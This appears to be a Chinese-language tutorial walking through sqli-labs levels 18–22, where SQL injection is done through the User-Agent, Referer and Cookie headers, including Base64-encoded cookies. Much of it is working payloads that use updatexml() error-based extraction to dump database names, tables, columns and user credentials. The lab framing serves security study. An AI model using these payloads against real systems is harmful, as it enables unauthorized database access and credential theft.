SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)

文章目录

        • 1. SqlLab_Mysql_Injection详解_字符型注入(八)
          • 1.1. SQL注入_POST型注入(HTTP头注入)
            • 1.1.1. 原理
            • 1.1.2. HTTP基础
            • 1.1.3. HTTP头注入常发生在程序采集用户信息的模块中
            • 1.1.4. COOKIE型注入
            • 1.1.5. Base64加密
        • 2. SqlLab关卡(包含18,19,20,21,22)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
          • 2.1. SqlLab-18(POST 型注入_HTTP头注入_User-Agent(单引号闭合)):
            • 2.1.1. 初始界面
            • 2.1.2. 判断注入点(关键步骤)
            • 2.1.3. 收集数据库信息
            • 2.1.4. 查询Mysql中存在的其他数据库
            • 2.1.5. 查询当前数据库‘security’存在的表
            • 2.1.6. 查询‘users’表的字段
            • 2.1.7. 查询‘users’表的字段值信息
          • 2.2. SqlLab-19(POST 型注入_HTTP头注入_Referer(单引号闭合)):
            • 2.2.1. 初始界面
            • 2.2.2. 判断注入点(关键步骤)
            • 2.2.3. 收集数据库信息
            • 2.2.4. 查询Mysql中存在的其他数据库
            • 2.2.5. 查询当前数据库‘security’存在的表
            • 2.2.6. 查询‘users’表的字段
            • 2.2.7. 查询‘users’表的字段值信息
          • 2.3. SqlLab-20(POST 型注入_HTTP头注入_Cookie(单引号闭合)):
            • 2.3.1. 初始界面
            • 2.3.2. 判断注入点(关键步骤)
            • 2.3.3. 收集数据库信息
            • 2.3.4. 查询Mysql中存在的其他数据库
            • 2.3.5. 查询当前数据库‘security’存在的表
            • 2.3.6. 查询‘users’表的字段
            • 2.3.7. 查询‘users’表的字段值信息
          • 2.4. SqliLab-21(POST 型注入_HTTP头注入_Cookie(单引号闭合-BASE64加密)):
            • 2.4.1. 初始界面
            • 2.4.2. 判断注入点(关键步骤)
            • 2.4.3. 收集数据库信息
            • 2.4.4. 查询Mysql中存在的其他数据库
            • 2.4.5. 查询当前数据库‘security’存在的表
            • 2.4.6. 查询‘users’表的字段
            • 2.4.7. 查询‘users’表的字段值信息
          • 2.5. SqliLab-22(POST 型注入_HTTP头注入_Cookie(双引号闭合-BASE64加密)):
            • 2.5.1. 初始界面
            • 2.5.2. 判断注入点(关键步骤)
        • 3. 总结

1. SqlLab_Mysql_Injection详解_字符型注入(八)

1.1. SQL注入_POST型注入(HTTP头注入)
1.1.1. 原理

HTTP头注入是指从HTTP头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。

1.1.2. HTTP基础
  • Accept:浏览器能够处理的内容类型;
  • Accept-Charset:浏览器能够显示的字符集;
  • Accept-Encoding:浏览器能够处理的压缩编码;
  • Accept-Language:浏览器当前设置的语言;
  • Connection:浏览器与服务器之间的连接类型;
  • cookie:当前页面设置的任何cookie;
  • Host: 发出请求的页面所在的域;
  • Referer:发出请求的页面的URL;
  • User-Agent:浏览器的用户代理字符串;
  • Server:WEB服务器表明自己是什么软件及版本信息;例如:server:Apache/2.0.61(Unix)
1.1.3. HTTP头注入常发生在程序采集用户信息的模块中
  • X-Forwarded-For/client-IP
  • User-Agent
  • Referer
  • Cookie
1.1.4. COOKIE型注入

COOKIE型注入是通过COOKIE进行数据提交的,其常见的情况有验证登陆、$_REQUEST获取参数。验证登陆是将用户的登录信息放入COOKIE中来做权限验证的一种方法;

1.1.5. Base64加密
  • 加密后的字符串的长度为4的整数倍;
  • 加密后的字符串的符号取值只能在( a-z,A-Z, 0-9, +, /, =)共计65个字符中,且存在(=)则必须在结尾出现;

通常使用抓包工具,抓取数据包,并使用报错注入的方式(updatexml(),extractvalue()函数等)对HTTP头进行payload构造(判断注入点和获取信息均可以使用报错注入);
EG:

X-Forwarded-For: 123.123.123.123' or 1=1 #
User-Agent: .........' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Referer: ' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
...

2. SqlLab关卡(包含18,19,20,21,22)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqlLab-18(POST 型注入_HTTP头注入_User-Agent(单引号闭合)):
2.1.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第1张图片

2.1.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
对参数(uname)进行判断;

uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
uname=a'' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
uname=a'] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
uname=a'} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
uname=a"' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=a"" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
uname=a"] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
uname=a"} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
uname=a)' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
uname=a)" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
uname=a)) or 1=1 %23&passwd=1&submit=Submit
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变,尝试用admin进行测试,是否存在盲注;
uname=admin and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=admin' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=admin" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=admin) and i1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替())进行构造;
uname=admin'' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=admin'" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=admin') and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('))进行构造;
uname=admin"' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=admin"" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=admin") and 1=1 %23&passwd=1&submit=Submit
...

经过尝试发现(宽字节绕过,特殊字符过滤绕过等),参数(uname)不存在注入,尝试对参数(passwd)进行测试;
EG:

uname=admin&passwd='&submit=Submit
//服务器返回页面错误,尝试(")代替(')进行构造;
uname=admin&passwd="&submit=Submit
//服务器返回页面错误,尝试())代替(")进行构造;
uname=admin&passwd=)&submit=Submit
//服务器返回页面错误,尝试(})代替())进行构造;
uname=admin&passwd=}&submit=Submit
//服务器返回页面错误,尝试(])代替(})进行构造;
uname=admin&passwd=]&submit=Submit
//服务器返回页面错误,尝试('')代替(])进行构造;
uname=admin&passwd=''&submit=Submit
//服务器返回页面错误,尝试('")代替('')进行构造;
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变(登录失败),考虑是否存在HTTP头注入,使用正确的uname和passwd进行尝试
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了浏览器USER AGENT 标识,判断此处,可能存在HTTP头注入;

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第2张图片
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);

uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' and '1'='1
//服务器返回页面正确,同时也看到了页面显示了浏览器USER-AGENT 标识,使用单引号闭合判断是否存在报错注入(没有则用"替换'进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了浏览器USER-AGENT 标识,同时出现报错提示,显示了当前使用数据库的名字,判断存在HTTP头_User-Agent注入;(单引号闭合)

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第3张图片
经过尝试,判断出存在HTTP头_User-Agent注入(单引号闭合),并存在报错提示,可以使用报错注入的方式获取数据库信息;

2.1.3. 收集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;

uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
2.1.4. 查询Mysql中存在的其他数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),
1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.1.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.1.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
2.1.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...

查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-User-Agent(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqlLab-18结束。

2.2. SqlLab-19(POST 型注入_HTTP头注入_Referer(单引号闭合)):
2.2.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第4张图片

2.2.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看出,可能存在与SqlLab-18相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:

uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了Referer标识,判断此处,可能存在HTTP头注入;

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第5张图片
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);

uname=admin&passwd=admin&submit=Submit
Referer: http://192.168.1.104/sql/Less-19/' and'1'='1
//服务器返回页面正确,同时也看到了页面显示了发出请求的页面的URL(Referer),使用单引号闭合判断是否存在报错注入(没有则用"替换'进行尝试);
uname=admin&passwd=admin&submit=Submit
Referer: http://192.168.1.104/sql/Less-19/' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了发出请求的页面的URL(Referer),同时出现报错提示,显示了当前使用数据库的名字,判断存在HTTP头_Referer注入;(单引号闭合)

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第6张图片
经过尝试,判断出存在HTTP头_Referer注入(单引号闭合),并存在报错提示,可以使用报错注入的方式获取数据库信息;

2.2.3. 收集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;

uname=admin&passwd=admin&submit=Submit
Referer: ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
2.2.4. 查询Mysql中存在的其他数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.2.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.2.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
2.2.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Referer: ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...

查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-User-Referer(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqlLab-19结束。

2.3. SqlLab-20(POST 型注入_HTTP头注入_Cookie(单引号闭合)):
2.3.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第7张图片

2.3.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看出,可能存在与SqliLab-18,19相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:

uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入;

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第8张图片
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT和COOKIE进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);

uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,用(")替换(')进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " and updatexml(1,concat(0x7c,(select database()),0x7c),1)and "1"="1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,对Cookie信息进行尝试;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入;(单引号闭合)也可以考虑使用and进行判断;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and 1=1 #
//服务器页面返回正确(预期正确),尝试使用1=2进行构造;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and 1=2 #
//服务器页面返回错误(预期错误),判断存在HTTP头_Cookie注入;(单引号闭合);

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第9张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第10张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第11张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第12张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第13张图片
经过尝试,判断出存在HTTP头_Cookie注入(单引号闭合),并存在报错提示和回显,可以使用报错注入和UNION联合查询的方式获取数据库信息(这里采用报错注入获取数据库信息);

2.3.3. 收集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
2.3.4. 查询Mysql中存在的其他数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.3.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.3.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
2.3.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...

查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-Cookie(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-20结束。

2.4. SqliLab-21(POST 型注入_HTTP头注入_Cookie(单引号闭合-BASE64加密)):
2.4.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第14张图片

2.4.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看出,可能存在与SqliLab-18,19,20相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:

uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入;

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第15张图片
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT和COOKIE进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);

uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,用(")替换(')进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " and updatexml(1,concat(0x7c,(select database()),0x7c),1)and "1"="1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,对Cookie信息进行尝试;
uname=admin&passwd=admin&submit=Submit
//使用BURPSUIT抓取数据包发现(正确登录时候也能在服务器返回页面发现),之前的(Cookie: uname=admin)变为了(Cookie: uname=YWRtaW4%3D),发现%3D为URL 中(=)的指定参数的值,即Cookie信息为(Cookie: uname=YWRtaW4=),符合一个base64加密的字符串的标准,考虑将payload转换成base64加密后的字符串再放进抓取的数据包中;
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAnMSc9JzE=
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息(构造的payload),有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入(单引号闭合);

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第16张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第17张图片
经过尝试,判断出存在HTTP头_Cookie注入(单引号闭合)(使用BASE64加密数据),并存在报错提示,可以使用报错注入的方式获取数据库信息;

2.4.3. 收集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsZGF0YWJhc2UoKSwweDdjLHZlcnNpb24oKSwweDdjLHVzZXIoKSksMSkgYW5kICcxJz0nMQ==
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
2.4.4. 查询Mysql中存在的其他数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsbWlkKGNvbmNhdCgweDdjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSksMHg3YyksMSwzMiksMSkgYW5kICcxJz0nMQ==
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.4.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdjKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.4.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0idXNlcnMiKSwweDdjKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了‘users’表的字段为(id,username,password);
2.4.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsbWlkKGNvbmNhdCgweDdjLChzZWxlY3QgZ3JvdXBfY29uY2F0KGlkLDB4N2MsdXNlcm5hbWUsMHg3YyxwYXNzd29yZCwweDdjKSBmcm9tIHVzZXJzKSwweDdlKSwxLDMyKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...

查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-Cookie(报错注入)(基于BASE64加密的数据传送)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-21结束。

2.5. SqliLab-22(POST 型注入_HTTP头注入_Cookie(双引号闭合-BASE64加密)):
2.5.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第18张图片

2.5.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看出,可能存在与SqliLab-18,19,20,21相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:

uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入,同时发现服务器返回界面同SqliLab-21相同,都发现了Cookie:uname=YWRtaW4%3D,判断可能存在与SqliLab-21一样的注入方式,尝试使用单引号闭合并使用base64加密进行构造payload;

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第19张图片
EG:
使用正确的uname和passwd对HTTP头的COOKIE进行注入点尝试(首先使用单引号闭合并使用base64加密)(一般是单引号和双引号闭合的方式);

uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAnMSc9JzE=
//服务器返回页面错误,同时也看到了页面显示了User-Agent标识,Cookie信息,没有报错提示显示数据库名,尝试使用双引号代替单引号进行构造;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gIiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAiMSI9IjE=
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息(构造的payload),有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入(双引号闭合);

SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第20张图片
SqliLab_Mysql_Injection详解_字符型注入(八)_POST型注入_HTTP头注入(18~22)_第21张图片
经过尝试,判断出存在HTTP头_Cookie注入(双引号闭合BASE64加密),并存在报错提示,可以使用报错注入的方式获取数据库信息,具体的流程就和SqliLab-21一样了,只是单引号(’)转换为双引号(")构造payload并进行base64加密,SqliLab-22结束;

3. 总结

